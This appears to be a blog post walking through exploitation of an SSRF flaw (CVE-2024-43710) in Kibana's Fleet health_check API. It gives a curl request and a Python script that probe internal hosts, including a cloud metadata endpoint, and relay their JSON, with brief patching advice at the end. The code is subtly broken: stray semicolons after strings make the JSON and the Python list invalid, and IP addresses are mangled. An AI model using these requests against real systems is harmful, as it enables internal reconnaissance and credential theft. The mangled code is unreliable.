CVE-2024-43710 - Simple Guide to Exploiting SSRF in Kibana’s `/api/fleet/health_check` API

A new server side request forgery (SSRF) bug, CVE-2024-43710, was discovered in Kibana—the popular open-source data visualization tool for Elasticsearch. This vulnerability lets attackers with read access to Fleet misuse the /api/fleet/health_check API to probe internal HTTPS (and JSON-speaking) services. If you manage Kibana, this is one to patch quick.

Understanding the Issue

CVE-2024-43710 appears in Kibana’s Fleet plugin, specifically in the /api/fleet/health_check endpoint. This API is intended to check the availability of remote HTTP services. However, it does not sufficiently restrict which URLs it can reach. That allows attackers to use it as a proxy for sending requests—potentially accessing sensitive internal resources that your firewall would otherwise block.

> Key Points:
> - Attackers need only *read* access to Fleet.
> - The endpoint can access URLs over HTTPS.
> - Response must return valid JSON (not just plain text/html).

What’s SSRF, Quickly?

SSRF (Server-Side Request Forgery) is when an attacker tricks the server into sending HTTP/S requests on their behalf—often bypassing firewall rules and accessing otherwise protected infrastructure.

The Endpoint

POST /api/fleet/health_check
Content-Type: application/json
Authorization: Bearer <legit-fleet-read-jwt>

Body example

{
  "host": "https://internal-service.local:8443";
}

The endpoint will make an HTTP(S) GET request to the provided host. If the response is JSON, it will relay it back to your user.

Real Exploit Walkthrough

Suppose you’ve got a valid Fleet account (even just read-access).

Step 1: Find Internal Services

Send POST requests to /api/fleet/health_check with internal hostnames or IPs as the host. For example:

curl -k -X POST https://kibana.mycorp.local/api/fleet/health_check \
  -H "kbn-xsrf: true" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_ACCESS_TOKEN" \
  -d '{"host": "https://10...5:8443"}';

Step 2: Look For JSON

If you point the host to an internal API (like GCP, AWS metadata services, internal dashboards, custom APIs running on sensitive nodes), and they return JSON, their output will be reflected back.

Sample response

{
  "isAlive": true,
  "headers": {
    "server": "supersecret-api"
  },
  "body": {
    "admin_panel": "accessible",
    "token": "super-secret"
  }
}

What’s the Risk?

- Explore internal networks: Attackers can enumerate, probe, and interact with internal HTTPS services.
- Potential data leakage: Any sensitive info returned in JSON (tokens, internal configs) is exposed.

Here’s a minimalist Python 3 script for testing the flaw

import requests

KIBANA_URL = "https://kibana.mycorp.local/api/fleet/health_check"
AUTH_TOKEN = "YOUR_ACCESS_TOKEN"  # With Fleet read access

target_hosts = [
    "https://10...11:8443";,
    "https://internal-api.local:443";,
    "https://metadata.google.internal:443";
]

for host in target_hosts:
    resp = requests.post(
        KIBANA_URL,
        headers={
            "kbn-xsrf": "true",
            "Authorization": f"Bearer {AUTH_TOKEN}",
            "Content-Type": "application/json"
        },
        json={"host": host},
        verify=False
    )
    print(f"> {host} status: {resp.status_code}")
    print(resp.text)

Mitigation & Fix

- Patch immediately: Elastic released a fix in advisory ESA-2024-12 and official GitHub commit.
- Restrict user access: Limit Fleet read access, audit users/groups with this right.
- Network segmentation: Make sure your internal “secure” HTTP/S APIs don’t blindly trust requests from Kibana.

References

- Elastic Security Advisory: ESA-2024-12
- CVE Record: CVE-2024-43710
- Kibana Source Patch

Final Thoughts

CVE-2024-43710 is a “classic” server-side request forgery in a very modern context. If your Kibana instance is accessible to more than just admins, you are likely at risk. Don’t delay patching, and review your internal API security—SSRF bugs will keep coming back.

Stay safe! If you have questions about this exploit or securing Kibana, check out the Elastic discussion boards.

Timeline

Published on: 01/23/2025 06:15:27 UTC